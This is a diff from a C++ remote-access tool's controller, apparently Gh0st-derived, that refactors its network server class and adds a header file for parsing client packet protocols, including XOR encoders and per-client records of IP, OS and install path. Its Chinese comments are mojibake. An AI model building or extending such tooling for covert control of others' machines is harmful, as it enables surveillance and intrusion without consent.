memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||||
::GlobalUnlock(hGlobal);
|
::GlobalUnlock(hGlobal);
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ class CScreenSpyDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CScreenSpyDlg)
|
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||||
virtual ~CScreenSpyDlg();
|
virtual ~CScreenSpyDlg();
|
||||||
|
|
||||||
VOID SendNext(void);
|
VOID SendNext(void);
|
||||||
|
|||||||
418
server/2015Remote/Server.h
Normal file
418
server/2015Remote/Server.h
Normal file
@@ -0,0 +1,418 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include "common/header.h"
|
||||||
|
#include "common/encrypt.h"
|
||||||
|
|
||||||
|
#include "Buffer.h"
|
||||||
|
#define XXH_INLINE_ALL
|
||||||
|
#include "xxhash.h"
|
||||||
|
|
||||||
|
#define PACKET_LENGTH 0x2000
|
||||||
|
|
||||||
|
std::string GetPeerName(SOCKET sock);
|
||||||
|
std::string GetRemoteIP(SOCKET sock);
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
|
||||||
|
ONLINELIST_ADDR, // <20><>ַ
|
||||||
|
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
|
||||||
|
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
|
||||||
|
ONLINELIST_CPU, // CPU
|
||||||
|
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||||
|
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||||
|
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
|
||||||
|
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
|
||||||
|
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
ONLINELIST_MAX,
|
||||||
|
};
|
||||||
|
|
||||||
|
enum {
|
||||||
|
PARSER_WINOS = -2,
|
||||||
|
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||||
|
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct PR {
|
||||||
|
int Result;
|
||||||
|
bool IsFailed() const {
|
||||||
|
return PARSER_FAILED == Result;
|
||||||
|
}
|
||||||
|
bool IsNeedMore() const {
|
||||||
|
return PARSER_NEEDMORE == Result;
|
||||||
|
}
|
||||||
|
bool IsWinOSLogin() const {
|
||||||
|
return PARSER_WINOS == Result;
|
||||||
|
}
|
||||||
|
}PR;
|
||||||
|
|
||||||
|
enum {
|
||||||
|
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||||
|
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
||||||
|
};
|
||||||
|
|
||||||
|
struct CONTEXT_OBJECT;
|
||||||
|
|
||||||
|
// Header parser: parse the data to make sure it's from a supported client.
|
||||||
|
class HeaderParser {
|
||||||
|
friend struct CONTEXT_OBJECT;
|
||||||
|
protected:
|
||||||
|
HeaderParser() {
|
||||||
|
memset(this, 0, sizeof(HeaderParser));
|
||||||
|
}
|
||||||
|
virtual ~HeaderParser() {
|
||||||
|
Reset();
|
||||||
|
}
|
||||||
|
PR Parse(CBuffer& buf, int& compressMethod) {
|
||||||
|
const int MinimumCount = MIN_COMLEN;
|
||||||
|
if (buf.GetBufferLength() < MinimumCount) {
|
||||||
|
return PR{ PARSER_NEEDMORE };
|
||||||
|
}
|
||||||
|
char szPacketFlag[32] = { 0 };
|
||||||
|
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||||||
|
HeaderEncType encTyp = HeaderEncUnknown;
|
||||||
|
FlagType flagType = CheckHead(szPacketFlag, encTyp);
|
||||||
|
if (flagType == FLAG_UNKNOWN) {
|
||||||
|
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
|
||||||
|
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
|
||||||
|
int length = *((int*)ptr);
|
||||||
|
int excepted = buf.GetBufferLength();
|
||||||
|
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
|
||||||
|
p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
|
||||||
|
m_nFlagType = FLAG_WINOS;
|
||||||
|
compressMethod = COMPRESS_NONE;
|
||||||
|
memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_nCompareLen = 0;
|
||||||
|
m_nFlagLen = 0;
|
||||||
|
m_nHeaderLen = 14;
|
||||||
|
m_bParsed = TRUE;
|
||||||
|
m_Encoder = new Encoder();
|
||||||
|
m_Encoder2 = new WinOsEncoder();
|
||||||
|
return PR{ PARSER_WINOS };
|
||||||
|
}
|
||||||
|
return PR{ PARSER_FAILED };
|
||||||
|
}
|
||||||
|
if (m_bParsed) { // Check if the header has been parsed.
|
||||||
|
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||||
|
}
|
||||||
|
// More version may be added in the future.
|
||||||
|
switch (m_nFlagType = flagType)
|
||||||
|
{
|
||||||
|
case FLAG_UNKNOWN:
|
||||||
|
return PR{ PARSER_FAILED };
|
||||||
|
case FLAG_SHINE:
|
||||||
|
memcpy(m_szPacketFlag, szPacketFlag, 5);
|
||||||
|
m_nCompareLen = 5;
|
||||||
|
m_nFlagLen = m_nCompareLen;
|
||||||
|
m_nHeaderLen = m_nFlagLen + 8;
|
||||||
|
m_bParsed = TRUE;
|
||||||
|
m_Encoder = new Encoder();
|
||||||
|
m_Encoder2 = new Encoder();
|
||||||
|
break;
|
||||||
|
case FLAG_FUCK:
|
||||||
|
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||||
|
m_nCompareLen = 8;
|
||||||
|
m_nFlagLen = m_nCompareLen + 3;
|
||||||
|
m_nHeaderLen = m_nFlagLen + 8;
|
||||||
|
m_bParsed = TRUE;
|
||||||
|
m_Encoder = new XOREncoder();
|
||||||
|
m_Encoder2 = new Encoder();
|
||||||
|
break;
|
||||||
|
case FLAG_HELLO:
|
||||||
|
// This header is only for handling SOCKET_DLLLOADER command
|
||||||
|
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||||
|
m_nCompareLen = 6;
|
||||||
|
m_nFlagLen = 8;
|
||||||
|
m_nHeaderLen = m_nFlagLen + 8;
|
||||||
|
m_bParsed = TRUE;
|
||||||
|
compressMethod = COMPRESS_NONE;
|
||||||
|
m_Encoder = new Encoder();
|
||||||
|
m_Encoder2 = new XOREncoder16();
|
||||||
|
break;
|
||||||
|
case FLAG_HELL:
|
||||||
|
// This version
|
||||||
|
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||||
|
m_nCompareLen = FLAG_COMPLEN;
|
||||||
|
m_nFlagLen = FLAG_LENGTH;
|
||||||
|
m_nHeaderLen = m_nFlagLen + 8;
|
||||||
|
m_bParsed = TRUE;
|
||||||
|
m_Encoder = new Encoder();
|
||||||
|
m_Encoder2 = new XOREncoder16();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return PR{ m_nFlagLen };
|
||||||
|
}
|
||||||
|
BOOL IsEncodeHeader() const {
|
||||||
|
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
||||||
|
}
|
||||||
|
HeaderParser& Reset() {
|
||||||
|
SAFE_DELETE(m_Encoder);
|
||||||
|
SAFE_DELETE(m_Encoder2);
|
||||||
|
memset(this, 0, sizeof(HeaderParser));
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
BOOL IsParsed() const {
|
||||||
|
return m_bParsed;
|
||||||
|
}
|
||||||
|
int GetFlagLen() const {
|
||||||
|
return m_nFlagLen;
|
||||||
|
}
|
||||||
|
int GetHeaderLen() const {
|
||||||
|
return m_nHeaderLen;
|
||||||
|
}
|
||||||
|
const char* GetFlag() const {
|
||||||
|
return m_szPacketFlag;
|
||||||
|
}
|
||||||
|
FlagType GetFlagType() const {
|
||||||
|
return m_nFlagType;
|
||||||
|
}
|
||||||
|
Encoder* GetEncoder() const {
|
||||||
|
return m_Encoder;
|
||||||
|
}
|
||||||
|
Encoder* GetEncoder2() const {
|
||||||
|
return m_Encoder2;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
|
||||||
|
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
||||||
|
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||||
|
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||||
|
FlagType m_nFlagType; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||||
|
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
||||||
|
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
|
||||||
|
};
|
||||||
|
|
||||||
|
enum IOType
|
||||||
|
{
|
||||||
|
IOInitialize,
|
||||||
|
IORead,
|
||||||
|
IOWrite,
|
||||||
|
IOIdle
|
||||||
|
};
|
||||||
|
|
||||||
|
#define TRACK_OVERLAPPEDPLUS 0
|
||||||
|
|
||||||
|
class OVERLAPPEDPLUS
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
|
||||||
|
OVERLAPPED m_ol;
|
||||||
|
IOType m_ioType;
|
||||||
|
|
||||||
|
OVERLAPPEDPLUS(IOType ioType)
|
||||||
|
{
|
||||||
|
#if TRACK_OVERLAPPEDPLUS
|
||||||
|
char szLog[100];
|
||||||
|
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||||
|
Mprintf(szLog);
|
||||||
|
#endif
|
||||||
|
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||||
|
m_ioType = ioType;
|
||||||
|
}
|
||||||
|
|
||||||
|
~OVERLAPPEDPLUS()
|
||||||
|
{
|
||||||
|
#if TRACK_OVERLAPPEDPLUS
|
||||||
|
char szLog[100];
|
||||||
|
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||||
|
Mprintf(szLog);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct CONTEXT_OBJECT
|
||||||
|
{
|
||||||
|
CString sClientInfo[ONLINELIST_MAX];
|
||||||
|
CString additonalInfo[RES_MAX];
|
||||||
|
SOCKET sClientSocket;
|
||||||
|
WSABUF wsaInBuf;
|
||||||
|
WSABUF wsaOutBuffer;
|
||||||
|
char szBuffer[PACKET_LENGTH];
|
||||||
|
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CBuffer OutCompressedBuffer;
|
||||||
|
HWND hWnd;
|
||||||
|
HANDLE hDlg;
|
||||||
|
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
|
||||||
|
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||||
|
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
||||||
|
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
|
||||||
|
|
||||||
|
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||||
|
std::string PeerName; // <20>Զ<EFBFBD>IP
|
||||||
|
int addrLen; // for UDP
|
||||||
|
sockaddr_in clientAddr; // for UDP
|
||||||
|
|
||||||
|
VOID InitMember(SOCKET s)
|
||||||
|
{
|
||||||
|
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||||||
|
hWnd = NULL;
|
||||||
|
hDlg = NULL;
|
||||||
|
sClientSocket = s;
|
||||||
|
PeerName = ::GetPeerName(sClientSocket);
|
||||||
|
memset(&wsaInBuf, 0, sizeof(WSABUF));
|
||||||
|
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
|
||||||
|
olps = NULL;
|
||||||
|
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||||||
|
sClientInfo[i].Empty();
|
||||||
|
}
|
||||||
|
for (int i = 0; i < RES_MAX; i++) {
|
||||||
|
additonalInfo[i].Empty();
|
||||||
|
}
|
||||||
|
CompressMethod = COMPRESS_ZSTD;
|
||||||
|
Parser.Reset();
|
||||||
|
bLogin = FALSE;
|
||||||
|
m_bProxyConnected = FALSE;
|
||||||
|
clientAddr = {};
|
||||||
|
addrLen = sizeof(sockaddr_in);
|
||||||
|
}
|
||||||
|
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
|
||||||
|
for (int i = 0; i < ONLINELIST_MAX; i++)
|
||||||
|
{
|
||||||
|
sClientInfo[i] = s[i];
|
||||||
|
}
|
||||||
|
for (int i = 0; i < a.size(); i++) {
|
||||||
|
additonalInfo[i] = a[i].c_str();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PBYTE GetBuffer(int offset) {
|
||||||
|
return InDeCompressedBuffer.GetBuffer(offset);
|
||||||
|
}
|
||||||
|
ULONG GetBufferLength() {
|
||||||
|
return InDeCompressedBuffer.GetBufferLength();
|
||||||
|
}
|
||||||
|
std::string GetPeerName() const {
|
||||||
|
return PeerName;
|
||||||
|
}
|
||||||
|
CString GetClientData(int index) const {
|
||||||
|
return sClientInfo[index];
|
||||||
|
}
|
||||||
|
void GetAdditionalData(CString(&s)[RES_MAX]) const {
|
||||||
|
for (int i = 0; i < RES_MAX; i++)
|
||||||
|
{
|
||||||
|
s[i] = additonalInfo[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void CancelIO() {
|
||||||
|
SAFE_CANCELIO(sClientSocket);
|
||||||
|
}
|
||||||
|
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
|
||||||
|
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
|
||||||
|
}
|
||||||
|
BYTE GetBYTE(int offset) {
|
||||||
|
return InDeCompressedBuffer.GetBYTE(offset);
|
||||||
|
}
|
||||||
|
// Write compressed buffer.
|
||||||
|
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
|
||||||
|
if (Parser.IsParsed()) {
|
||||||
|
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||||||
|
BYTE szPacketFlag[32] = {};
|
||||||
|
const int flagLen = Parser.GetFlagLen();
|
||||||
|
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
||||||
|
if (Parser.IsEncodeHeader())
|
||||||
|
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
||||||
|
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
||||||
|
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||||
|
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||||
|
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
||||||
|
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||||
|
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
||||||
|
}
|
||||||
|
Encode2(data, dataLen, szPacketFlag);
|
||||||
|
OutCompressedBuffer.WriteBuffer(data, dataLen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Read compressed buffer.
|
||||||
|
PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen) {
|
||||||
|
if (Parser.IsParsed()) {
|
||||||
|
ULONG totalLen = 0;
|
||||||
|
BYTE szPacketFlag[32] = {};
|
||||||
|
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
||||||
|
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||||
|
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||||
|
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||||
|
}
|
||||||
|
dataLen = totalLen - Parser.GetHeaderLen();
|
||||||
|
PBYTE CompressedBuffer = new BYTE[dataLen];
|
||||||
|
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
||||||
|
Decode2(CompressedBuffer, dataLen, szPacketFlag);
|
||||||
|
return CompressedBuffer;
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||||
|
PR Parse(CBuffer& buf) {
|
||||||
|
return Parser.Parse(buf, CompressMethod);
|
||||||
|
}
|
||||||
|
// Encode data before compress.
|
||||||
|
void Encode(PBYTE data, int len) const {
|
||||||
|
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
||||||
|
}
|
||||||
|
// Decode data after uncompress.
|
||||||
|
void Decode(PBYTE data, int len) const {
|
||||||
|
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||||
|
}
|
||||||
|
// Encode data after compress.
|
||||||
|
void Encode2(PBYTE data, int len, PBYTE param) const {
|
||||||
|
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
|
||||||
|
}
|
||||||
|
// Decode data before uncompress.
|
||||||
|
void Decode2(PBYTE data, int len, PBYTE param) const {
|
||||||
|
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
|
||||||
|
}
|
||||||
|
std::string RemoteAddr() const {
|
||||||
|
sockaddr_in ClientAddr = {};
|
||||||
|
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||||
|
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||||
|
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||||
|
}
|
||||||
|
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
|
||||||
|
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
|
||||||
|
CString s;
|
||||||
|
for (int i = 0; i < 5; i++) {
|
||||||
|
s += data[idx[i]] + "|";
|
||||||
|
}
|
||||||
|
s.Delete(s.GetLength() - 1);
|
||||||
|
return XXH64(s.GetString(), s.GetLength(), 0);
|
||||||
|
}
|
||||||
|
uint64_t GetID() const { return ID; }
|
||||||
|
void SetID(uint64_t id) { ID = id; }
|
||||||
|
}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
||||||
|
|
||||||
|
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||||
|
|
||||||
|
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
|
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
|
|
||||||
|
class Server
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
Server(){}
|
||||||
|
virtual ~Server(){}
|
||||||
|
|
||||||
|
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
|
||||||
|
|
||||||
|
virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||||||
|
|
||||||
|
virtual void UpdateMaxConnection(int maxConn){}
|
||||||
|
|
||||||
|
virtual void Destroy(){}
|
||||||
|
|
||||||
|
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||||||
|
};
|
||||||
@@ -20,7 +20,7 @@ typedef struct ItemData1
|
|||||||
}
|
}
|
||||||
} ItemData1;
|
} ItemData1;
|
||||||
|
|
||||||
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
@@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart()
|
|||||||
void CServicesDlg::OnServicesReflash()
|
void CServicesDlg::OnServicesReflash()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
|
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20>ͷ<EFBFBD><CDB7><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>ͷ<EFBFBD><CDB7><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd)
|
|||||||
|
|
||||||
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
||||||
|
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ class CServicesDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CServicesDlg)
|
DECLARE_DYNAMIC(CServicesDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
virtual ~CServicesDlg();
|
virtual ~CServicesDlg();
|
||||||
|
|
||||||
int ShowServicesList(void);
|
int ShowServicesList(void);
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) {
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
|
||||||
|
|
||||||
CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
|
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
@@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog()
|
|||||||
SetWindowText(str);
|
SetWindowText(str);
|
||||||
|
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
m_Edit.SetWindowTextA(">>");
|
m_Edit.SetWindowTextA(">>");
|
||||||
m_nCurSel = m_Edit.GetWindowTextLengthA();
|
m_nCurSel = m_Edit.GetWindowTextLengthA();
|
||||||
@@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
int length = str.GetLength() - m_nCurSel;
|
int length = str.GetLength() - m_nCurSel;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
|
m_iocpServer->Send2Client(m_ContextObject, pSrc, length);
|
||||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD>VK_BACK
|
// <20><><EFBFBD><EFBFBD>VK_BACK
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ class CShellDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CShellDlg)
|
DECLARE_DYNAMIC(CShellDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||||
virtual ~CShellDlg();
|
virtual ~CShellDlg();
|
||||||
|
|
||||||
VOID OnReceiveComplete();
|
VOID OnReceiveComplete();
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ typedef struct ItemData
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||||
|
|
||||||
CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
